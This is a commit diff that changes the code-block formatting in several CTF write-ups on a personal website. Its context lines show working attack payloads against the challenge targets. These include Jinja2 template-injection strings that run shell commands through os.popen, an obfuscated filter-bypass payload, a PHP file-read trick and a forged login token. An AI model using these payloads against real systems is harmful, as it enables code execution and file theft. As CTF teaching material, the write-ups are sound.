mirror of
https://github.com/maikka39/Personal-Website.git
synced 2026-10-02 14:46:25 +00:00
Improve collapsable code to be reusable
This commit is contained in:
@@ -24,7 +24,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1300
|
||||
- Points: 1300
|
||||
|
||||
## Description
|
||||
|
||||
@@ -117,7 +117,7 @@ Let's try to use the previous attack but with the flag file:
|
||||
|
||||
We get a big error:
|
||||
|
||||
{{< code language="html" title="Error message" >}}
|
||||
{{< collapsible-block badge="html" title="Error message" >}}
|
||||
|
||||
```html
|
||||
<br />
|
||||
@@ -183,7 +183,7 @@ line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<b>/var/www/html/index.php</b> on line <b>43</b><br />
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
We probably got it because PHP is actually handling the PHP file as a PHP file 😀. This means we have to get it in some other way.
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1600
|
||||
- Points: 1600
|
||||
|
||||
## Description
|
||||
|
||||
@@ -41,12 +41,12 @@ When opening the source of the page we also find the following comment: "Here is
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -74,7 +74,7 @@ This means the server is most likely using either Jinja2 of Twig.
|
||||
|
||||
Now that we found the vulnerability, we can start exploiting it. Let's start by getting the config. We can try to get it by entering `{{config}}` or `{{config.items()}}` as the emoji.
|
||||
|
||||
{{< code language="python" title="Result" >}}
|
||||
{{< collapsible-block badge="python" title="Result" >}}
|
||||
|
||||
```python
|
||||
dict_items([
|
||||
@@ -224,7 +224,7 @@ dict_items([
|
||||
])
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
If we take a look at it we find an item called 'flag' but it looks like it is encrypted in some way:
|
||||
|
||||
@@ -282,7 +282,7 @@ The source of the server is probably `app.py` as it's the default for flask appl
|
||||
config.__class__.__init__.__globals__['os'].popen('cat app.py').read()
|
||||
```
|
||||
|
||||
{{< code language="python" title="app.py" >}}
|
||||
{{< collapsible-block badge="python" title="app.py" >}}
|
||||
|
||||
```python
|
||||
import random
|
||||
@@ -332,7 +332,7 @@ if __name__ == '__main__':
|
||||
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
When looking at the file, we see that the flag variable is set to the output of the `magic` function:
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1700
|
||||
- Points: 1700
|
||||
|
||||
## Description
|
||||
|
||||
@@ -41,12 +41,12 @@ When opening the source of the page we also find the following comment: "Here is
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -154,7 +154,7 @@ To get the subclasses, we first have to convert `''.__class__.__mro__[1].__subcl
|
||||
|
||||
After submitting this, we get the following result:
|
||||
|
||||
{{< code language="text" title="Result" >}}
|
||||
{{< collapsible-block badge="text" title="Result" >}}
|
||||
|
||||
```js
|
||||
[
|
||||
@@ -643,7 +643,7 @@ After submitting this, we get the following result:
|
||||
]
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
In this result we find the following class: `<class 'os._wrap_close'>`. This is the `os` module and it is on index `127`. We can verify it's index by getting it from the submodules list using the following input:
|
||||
|
||||
@@ -680,7 +680,7 @@ Now let's grab the contents of `app.py`:
|
||||
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }}
|
||||
```
|
||||
|
||||
{{< code language="python" title="app.py" >}}
|
||||
{{< collapsible-block badge="python" title="app.py" >}}
|
||||
|
||||
```py
|
||||
import random
|
||||
@@ -732,7 +732,7 @@ if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=8000)
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Magic function
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2200
|
||||
- Points: 2200
|
||||
|
||||
## Description
|
||||
|
||||
@@ -49,8 +49,8 @@ When opening the page, we will see a broken image, this is expected as the file
|
||||
|
||||
```html
|
||||
<img
|
||||
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
|
||||
width="100%"
|
||||
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
|
||||
width="100%"
|
||||
/>
|
||||
```
|
||||
|
||||
@@ -80,64 +80,71 @@ Alas, we get the cat picture again. That's weird. There might be a filter on the
|
||||
|
||||
Using the same decoding method, we get the following result:
|
||||
|
||||
{{< code language="php" title="index.php" >}}
|
||||
{{< collapsible-block badge="php" title="index.php" >}}
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html class="no-js" lang="">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge" />
|
||||
<title>Advent of CTF 22</title>
|
||||
<meta name="description" content="" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge" />
|
||||
<title>Advent of CTF 22</title>
|
||||
<meta name="description" content="" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
|
||||
<link rel="stylesheet" href="style.css" type="text/css" media="screen" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
|
||||
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
|
||||
crossorigin="anonymous"
|
||||
/>
|
||||
<style>
|
||||
.row-margin-05 {
|
||||
margin-top: 0.5em;
|
||||
}
|
||||
.row-margin-10 {
|
||||
margin-top: 1em;
|
||||
}
|
||||
.row-margin-20 {
|
||||
margin-top: 2em;
|
||||
}
|
||||
.row-margin-30 {
|
||||
margin-top: 3em;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="jumbotron bg-transparent mb-0 radius-0">
|
||||
<div class="container fluid">
|
||||
<div class="row">
|
||||
<div class="col-xl-6 mx-auto">
|
||||
<h1 class="display-2">
|
||||
Advent of CTF <span class="vim-caret">22</span>
|
||||
</h1>
|
||||
<div class="lead mb-3 text-mono text-warning">
|
||||
Your daily dose of CTF for December
|
||||
</div>
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="style.css"
|
||||
type="text/css"
|
||||
media="screen"
|
||||
/>
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
|
||||
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
|
||||
crossorigin="anonymous"
|
||||
/>
|
||||
<style>
|
||||
.row-margin-05 {
|
||||
margin-top: 0.5em;
|
||||
}
|
||||
.row-margin-10 {
|
||||
margin-top: 1em;
|
||||
}
|
||||
.row-margin-20 {
|
||||
margin-top: 2em;
|
||||
}
|
||||
.row-margin-30 {
|
||||
margin-top: 3em;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="jumbotron bg-transparent mb-0 radius-0">
|
||||
<div class="container fluid">
|
||||
<div class="row">
|
||||
<div class="col-xl-6 mx-auto">
|
||||
<h1 class="display-2">
|
||||
Advent of CTF <span class="vim-caret">22</span>
|
||||
</h1>
|
||||
<div class="lead mb-3 text-mono text-warning">
|
||||
Your daily dose of CTF for December
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-xl-12 mx-auto">
|
||||
<div class="card">
|
||||
<div class="card-header text-center">
|
||||
<h2>The big reveal</h2>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<?php
|
||||
<div class="row">
|
||||
<div class="col-xl-12 mx-auto">
|
||||
<div class="card">
|
||||
<div class="card-header text-center">
|
||||
<h2>The big reveal</h2>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<?php
|
||||
if (!isset($_GET["image"])) {
|
||||
?>
|
||||
<a href="/index.php?image=cat.jpg">Is this santa?</a>
|
||||
<?php
|
||||
<a href="/index.php?image=cat.jpg"
|
||||
>Is this santa?</a
|
||||
>
|
||||
<?php
|
||||
} else {
|
||||
$path = $_GET["image"];
|
||||
if (strpos($path,"secret") !== false) {
|
||||
@@ -145,49 +152,62 @@ Using the same decoding method, we get the following result:
|
||||
}
|
||||
$image = file_get_contents($path);
|
||||
echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
|
||||
} ?>
|
||||
</div>
|
||||
<div class="card-footer text-center">Almost there</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row row-margin-30">
|
||||
<div class="card mb-3 bg-dark text-white">
|
||||
<div class="card-body">
|
||||
<div class="row">
|
||||
<div class="col-md-2">
|
||||
<img src="/logo.png" />
|
||||
} ?>
|
||||
</div>
|
||||
<div class="card-footer text-center">
|
||||
Almost there
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row row-margin-30">
|
||||
<div class="card mb-3 bg-dark text-white">
|
||||
<div class="card-body">
|
||||
<div class="row">
|
||||
<div class="col-md-2">
|
||||
<img src="/logo.png" />
|
||||
</div>
|
||||
<div
|
||||
class="col-md-9 offset-md-1 align-middle"
|
||||
>
|
||||
<p class="text-center">
|
||||
<span class="align-middle">
|
||||
The Advent of CTF is brought
|
||||
to you by
|
||||
<a href="http://www.novi.nl"
|
||||
>NOVI Hogeschool</a
|
||||
>. It is built by
|
||||
<a
|
||||
href="https://twitter.com/credmp/"
|
||||
class="icoTwitter"
|
||||
title="Twitter"
|
||||
><i
|
||||
class="fab fa-twitter"
|
||||
></i>
|
||||
@credmp</a
|
||||
>. If you are looking for a
|
||||
Dutch Cyber Security
|
||||
Bachelor degree or bootcamp,
|
||||
<a
|
||||
href="https://www.novi.nl"
|
||||
>check us out</a
|
||||
>.
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-9 offset-md-1 align-middle">
|
||||
<p class="text-center">
|
||||
<span class="align-middle">
|
||||
The Advent of CTF is brought to you by
|
||||
<a href="http://www.novi.nl">NOVI Hogeschool</a>. It
|
||||
is built by
|
||||
<a
|
||||
href="https://twitter.com/credmp/"
|
||||
class="icoTwitter"
|
||||
title="Twitter"
|
||||
><i class="fab fa-twitter"></i> @credmp</a
|
||||
>. If you are looking for a Dutch Cyber Security
|
||||
Bachelor degree or bootcamp,
|
||||
<a href="https://www.novi.nl">check us out</a>.
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
Just the PHP part:
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2400
|
||||
- Points: 2400
|
||||
|
||||
## Description
|
||||
|
||||
@@ -97,7 +97,7 @@ In [3]: pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAA
|
||||
|
||||
This time our board is quite a bit larger:
|
||||
|
||||
{{< code language="py" title="Board" >}}
|
||||
{{< collapsible-block badge="py" title="Board" >}}
|
||||
|
||||
```py
|
||||
{
|
||||
@@ -179,7 +179,7 @@ This time our board is quite a bit larger:
|
||||
}
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
We can see that a `chain` value has been added. From the title of this challenge, we can say that this is the blockchain that we likely have to bypass.
|
||||
|
||||
@@ -230,7 +230,7 @@ We can see that, to verify the game, the function loops through all the blocks i
|
||||
|
||||
To crack this, we can simply reverse this algorithm. To do this, I grabbed the script from the HTML source, and added a crack method like so:
|
||||
|
||||
{{< code language="py" title="solve.py" >}}
|
||||
{{< collapsible-block badge="py" title="solve.py" >}}
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
@@ -304,7 +304,7 @@ if __name__ == "__main__":
|
||||
print(export_base64(game))
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
After running this script, we get the following result:
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 400
|
||||
- Points: 400
|
||||
|
||||
## Description
|
||||
|
||||
@@ -36,64 +36,64 @@ Visit <https://04.adventofctf.com> to start the challenge.
|
||||
|
||||
When opening the website we're (for the first time) not provided with a login form. It is still authentication though as we are greeted with a message: "If you have access to it the special present will be shown below:". Also, I noticed the URL changed after about five seconds. That hints at some javascript, so let's open the sources tab in devtools. We find `login.js`.
|
||||
|
||||
{{< code language="js" title="login.js" >}}
|
||||
{{< collapsible-block badge="js" title="login.js" >}}
|
||||
|
||||
```js
|
||||
function startup() {
|
||||
key = localStorage.getItem("key");
|
||||
key = localStorage.getItem("key");
|
||||
|
||||
if (key === null) {
|
||||
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
|
||||
}
|
||||
if (key === null) {
|
||||
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
|
||||
}
|
||||
}
|
||||
|
||||
var _0x1fde = ["charCodeAt"];
|
||||
(function (_0x93ff3a, _0x1fded8) {
|
||||
var _0x39b47b = function (_0x54f1d3) {
|
||||
while (--_0x54f1d3) {
|
||||
_0x93ff3a["push"](_0x93ff3a["shift"]());
|
||||
}
|
||||
};
|
||||
_0x39b47b(++_0x1fded8);
|
||||
var _0x39b47b = function (_0x54f1d3) {
|
||||
while (--_0x54f1d3) {
|
||||
_0x93ff3a["push"](_0x93ff3a["shift"]());
|
||||
}
|
||||
};
|
||||
_0x39b47b(++_0x1fded8);
|
||||
})(_0x1fde, 0x192);
|
||||
var _0x39b4 = function (_0x93ff3a, _0x1fded8) {
|
||||
_0x93ff3a = _0x93ff3a - 0x0;
|
||||
var _0x39b47b = _0x1fde[_0x93ff3a];
|
||||
return _0x39b47b;
|
||||
_0x93ff3a = _0x93ff3a - 0x0;
|
||||
var _0x39b47b = _0x1fde[_0x93ff3a];
|
||||
return _0x39b47b;
|
||||
};
|
||||
function calculate(_0x54f1d3) {
|
||||
var _0x58628b = _0x39b4,
|
||||
_0xc289d4 = 0x0;
|
||||
for (let _0x19ddf3 in text) {
|
||||
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
|
||||
}
|
||||
return _0xc289d4;
|
||||
var _0x58628b = _0x39b4,
|
||||
_0xc289d4 = 0x0;
|
||||
for (let _0x19ddf3 in text) {
|
||||
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
|
||||
}
|
||||
return _0xc289d4;
|
||||
}
|
||||
|
||||
function check() {
|
||||
key = localStorage.getItem("key");
|
||||
hash = window.location.search.split("?")[1];
|
||||
key = localStorage.getItem("key");
|
||||
hash = window.location.search.split("?")[1];
|
||||
|
||||
if (key !== null && hash != "token=" + key) {
|
||||
parts = key.split(".");
|
||||
text = atob(parts[0]);
|
||||
checksum = parseInt(parts[1]);
|
||||
if (key !== null && hash != "token=" + key) {
|
||||
parts = key.split(".");
|
||||
text = atob(parts[0]);
|
||||
checksum = parseInt(parts[1]);
|
||||
|
||||
count = calculate(text);
|
||||
count = calculate(text);
|
||||
|
||||
if (count == checksum) {
|
||||
setTimeout(function () {
|
||||
window.location = "index.php?token=" + key;
|
||||
}, 5000);
|
||||
if (count == checksum) {
|
||||
setTimeout(function () {
|
||||
window.location = "index.php?token=" + key;
|
||||
}, 5000);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
startup();
|
||||
check();
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
This looks like some obfuscated code. So I started with de-obfuscating the code. After a few minutes of reading the code, I remembered to always start at the output. And after looking at the `check()` function I found out I had wasted my time.
|
||||
|
||||
@@ -101,42 +101,42 @@ As it turns out, we don't need to know what the obfuscated code does. If we read
|
||||
|
||||
```js
|
||||
function check() {
|
||||
// Get key from localStorage
|
||||
// The key is initialized in startup()
|
||||
// > "eyJ1c2VyaWQiOjB9.1074"
|
||||
key = localStorage.getItem("key");
|
||||
// Get key from localStorage
|
||||
// The key is initialized in startup()
|
||||
// > "eyJ1c2VyaWQiOjB9.1074"
|
||||
key = localStorage.getItem("key");
|
||||
|
||||
// Get the token from the url
|
||||
// > "token=eyJ1c2VyaWQiOjB9.1074"
|
||||
hash = window.location.search.split("?")[1];
|
||||
// Get the token from the url
|
||||
// > "token=eyJ1c2VyaWQiOjB9.1074"
|
||||
hash = window.location.search.split("?")[1];
|
||||
|
||||
// If key and hash are not empty:
|
||||
if (key !== null && hash != "token=" + key) {
|
||||
// Split the key by a .
|
||||
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
|
||||
parts = key.split(".");
|
||||
// If key and hash are not empty:
|
||||
if (key !== null && hash != "token=" + key) {
|
||||
// Split the key by a .
|
||||
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
|
||||
parts = key.split(".");
|
||||
|
||||
// Decode the base64 from the first part of the key
|
||||
// > "{"userid":0}"
|
||||
text = atob(parts[0]);
|
||||
// Decode the base64 from the first part of the key
|
||||
// > "{"userid":0}"
|
||||
text = atob(parts[0]);
|
||||
|
||||
// Get the value of the second part of the key as an int
|
||||
// > 1074
|
||||
checksum = parseInt(parts[1]);
|
||||
// Get the value of the second part of the key as an int
|
||||
// > 1074
|
||||
checksum = parseInt(parts[1]);
|
||||
|
||||
// Calculate the value of text
|
||||
// > 1074
|
||||
count = calculate(text);
|
||||
// Calculate the value of text
|
||||
// > 1074
|
||||
count = calculate(text);
|
||||
|
||||
// If the last part of the key is correct:
|
||||
if (count == checksum) {
|
||||
// Execute this function after 5000ms
|
||||
setTimeout(function () {
|
||||
// Execute a get request with the token parameter
|
||||
window.location = "index.php?token=" + key;
|
||||
}, 5000);
|
||||
// If the last part of the key is correct:
|
||||
if (count == checksum) {
|
||||
// Execute this function after 5000ms
|
||||
setTimeout(function () {
|
||||
// Execute a get request with the token parameter
|
||||
window.location = "index.php?token=" + key;
|
||||
}, 5000);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -148,14 +148,14 @@ Let's turn this into some code:
|
||||
|
||||
```js
|
||||
function generateHash(input) {
|
||||
// Set the global text variable defined in
|
||||
// login.js, otherwise calculate doesn't work
|
||||
text = input;
|
||||
// Set the global text variable defined in
|
||||
// login.js, otherwise calculate doesn't work
|
||||
text = input;
|
||||
|
||||
let count = calculate(text);
|
||||
let key = btoa(text) + "." + count;
|
||||
let count = calculate(text);
|
||||
let key = btoa(text) + "." + count;
|
||||
|
||||
console.log(key);
|
||||
console.log(key);
|
||||
}
|
||||
|
||||
generateHash('{"userid":0}');
|
||||
|
||||
@@ -24,7 +24,7 @@ aliases = [
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 600
|
||||
- Points: 600
|
||||
|
||||
## Description
|
||||
|
||||
@@ -72,7 +72,7 @@ As you can see the string is escaped and the result of this query will have the
|
||||
|
||||
When submitting it I got the following result:
|
||||
|
||||
{{< code language="text" title="Result" >}}
|
||||
{{< collapsible-block badge="text" title="Result" >}}
|
||||
|
||||
```markdown
|
||||
| id | Description | Proof |
|
||||
@@ -244,7 +244,7 @@ When submitting it I got the following result:
|
||||
| secrets | 2-------- | 3------- |
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
@@ -58,9 +58,9 @@ Upon opening the website, we're greeted with a code editor and some text:
|
||||
>
|
||||
> The controlCar function takes a single parameter – `scanArray` – which is an array containing 17 integers denoting distance > from your car to the nearest obstacle:
|
||||
>
|
||||
> - [indexes 0-7]: on the left side of the car (index 7 is the measurement at the left headlight),
|
||||
> - [index 8]: at the center of the car,
|
||||
> - [indexes 9-16]: on the right side of the car (index 9 is the measurement at the right headlight).
|
||||
> - [indexes 0-7]: on the left side of the car (index 7 is the measurement at the left headlight),
|
||||
> - [index 8]: at the center of the car,
|
||||
> - [indexes 9-16]: on the right side of the car (index 9 is the measurement at the right headlight).
|
||||
>
|
||||
> See also [this image]({{< ref "#radar-image" >}}) (it's not precise, but will give you an idea what you are looking at).
|
||||
>
|
||||
@@ -72,9 +72,9 @@ Upon opening the website, we're greeted with a code editor and some text:
|
||||
>
|
||||
> The `controlCar` must return an integer denoting where the car should drive:
|
||||
>
|
||||
> - -1 (or any other negative value): drive more to the left,
|
||||
> - 0: continue straight / straighten up the car,
|
||||
> - 1 (or any other positive value): drive more to the right.
|
||||
> - -1 (or any other negative value): drive more to the left,
|
||||
> - 0: continue straight / straighten up the car,
|
||||
> - 1 (or any other positive value): drive more to the right.
|
||||
|
||||
When opening the source, we also find the following comment:
|
||||
|
||||
@@ -92,66 +92,66 @@ When opening the source, we also find the following comment:
|
||||
|
||||
To solve this challenge, I came up with the following script:
|
||||
|
||||
{{< code language="js" title="solve.js" >}}
|
||||
{{< collapsible-block badge="js" title="solve.js" >}}
|
||||
|
||||
```js
|
||||
function controlCar(scanArray) {
|
||||
if (!window.has_reset_game) {
|
||||
window.has_reset_game = true;
|
||||
window.car_position = 0;
|
||||
window.queue = [];
|
||||
}
|
||||
|
||||
if (window.queue.length === 0) {
|
||||
let left, center, right;
|
||||
|
||||
if (window.car_position === -1) {
|
||||
left = 8;
|
||||
center = 12;
|
||||
right = 15;
|
||||
} else if (window.car_position === 0) {
|
||||
left = 4;
|
||||
center = 8;
|
||||
right = 12;
|
||||
} else if (window.car_position === 1) {
|
||||
left = 1;
|
||||
center = 4;
|
||||
right = 8;
|
||||
if (!window.has_reset_game) {
|
||||
window.has_reset_game = true;
|
||||
window.car_position = 0;
|
||||
window.queue = [];
|
||||
}
|
||||
|
||||
left = scanArray[left];
|
||||
center = scanArray[center];
|
||||
right = scanArray[right];
|
||||
if (window.queue.length === 0) {
|
||||
let left, center, right;
|
||||
|
||||
let furthest = Math.max(left, center, right);
|
||||
let closest = Math.min(left, center, right);
|
||||
if (window.car_position === -1) {
|
||||
left = 8;
|
||||
center = 12;
|
||||
right = 15;
|
||||
} else if (window.car_position === 0) {
|
||||
left = 4;
|
||||
center = 8;
|
||||
right = 12;
|
||||
} else if (window.car_position === 1) {
|
||||
left = 1;
|
||||
center = 4;
|
||||
right = 8;
|
||||
}
|
||||
|
||||
console.log(left, center, right);
|
||||
left = scanArray[left];
|
||||
center = scanArray[center];
|
||||
right = scanArray[right];
|
||||
|
||||
let moveInDirection = (direction) => {
|
||||
console.log("Going in direction", direction);
|
||||
if (direction === window.car_position) {
|
||||
window.queue.push(0);
|
||||
} else if (direction > window.car_position) {
|
||||
window.queue.push(1, 1, 1, 1);
|
||||
window.car_position += 1;
|
||||
} else if (direction < window.car_position) {
|
||||
window.queue.push(-1, -1, -1, -1);
|
||||
window.car_position -= 1;
|
||||
}
|
||||
};
|
||||
let furthest = Math.max(left, center, right);
|
||||
let closest = Math.min(left, center, right);
|
||||
|
||||
if (closest < 0) moveInDirection(window.car_position);
|
||||
else if (furthest === left) moveInDirection(-1);
|
||||
else if (furthest === center) moveInDirection(0);
|
||||
else if (furthest === right) moveInDirection(1);
|
||||
}
|
||||
console.log(left, center, right);
|
||||
|
||||
return window.queue.pop();
|
||||
let moveInDirection = (direction) => {
|
||||
console.log("Going in direction", direction);
|
||||
if (direction === window.car_position) {
|
||||
window.queue.push(0);
|
||||
} else if (direction > window.car_position) {
|
||||
window.queue.push(1, 1, 1, 1);
|
||||
window.car_position += 1;
|
||||
} else if (direction < window.car_position) {
|
||||
window.queue.push(-1, -1, -1, -1);
|
||||
window.car_position -= 1;
|
||||
}
|
||||
};
|
||||
|
||||
if (closest < 0) moveInDirection(window.car_position);
|
||||
else if (furthest === left) moveInDirection(-1);
|
||||
else if (furthest === center) moveInDirection(0);
|
||||
else if (furthest === right) moveInDirection(1);
|
||||
}
|
||||
|
||||
return window.queue.pop();
|
||||
}
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
It starts off by initializing some global variables if the game is running for the first time (or after a restart). After which, it check if there are still moves in the queue. If so, it grabs the last item out of the queue and returns it.
|
||||
|
||||
|
||||
@@ -43,7 +43,7 @@ You’re taking a stroll in the lab, when Dr. Klostermann is calling your name:
|
||||
|
||||
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/4/attachment.zip)
|
||||
|
||||
{{< code language="c" title="chal.c" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="c" title="chal.c" isCollapsed="true" >}}
|
||||
|
||||
```c
|
||||
#include <stdbool.h>
|
||||
@@ -208,7 +208,7 @@ int main(void)
|
||||
}
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Recon
|
||||
|
||||
@@ -308,7 +308,7 @@ for set_mask, clr_mask in zip(set_masks, clr_masks):
|
||||
print(flag.strip())
|
||||
```
|
||||
|
||||
{{< code language="py" title="Full code" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="py" title="Full code" isCollapsed="true" >}}
|
||||
|
||||
```py
|
||||
set_mask_str = "gpio_set_mask"
|
||||
@@ -343,7 +343,7 @@ for set_mask, clr_mask in zip(set_masks, clr_masks):
|
||||
print(flag.strip())
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
@@ -50,7 +50,7 @@ As you and Gökhan are leaving the crates to enter a car, you spot the tough guy
|
||||
|
||||
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/5/attachment.zip)
|
||||
|
||||
{{< code language="py" title="RoboCaller1337.py" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="py" title="RoboCaller1337.py" isCollapsed="true" >}}
|
||||
|
||||
```py
|
||||
import random
|
||||
@@ -103,9 +103,9 @@ if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
{{< code language="txt" title="robo_numbers_list.txt" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="txt" title="robo_numbers_list.txt" isCollapsed="true" >}}
|
||||
|
||||
```txt
|
||||
263-170-6234
|
||||
@@ -734,7 +734,7 @@ if __name__ == "__main__":
|
||||
446-996-9104
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Recon
|
||||
|
||||
@@ -793,7 +793,7 @@ for a,b in zip(key, secret):
|
||||
print(flag)
|
||||
```
|
||||
|
||||
{{< code language="py" title="Full code" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="py" title="Full code" isCollapsed="true" >}}
|
||||
|
||||
```py
|
||||
from mt19937predictor import MT19937Predictor
|
||||
@@ -816,7 +816,7 @@ for a,b in zip(key, secret):
|
||||
print(flag)
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
@@ -50,7 +50,7 @@ After having climbed through the window, you wait for a while on the ground. The
|
||||
|
||||
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/6/attachment.zip)
|
||||
|
||||
{{< code language="txt" title="encodings" isCollapsed="true" >}}
|
||||
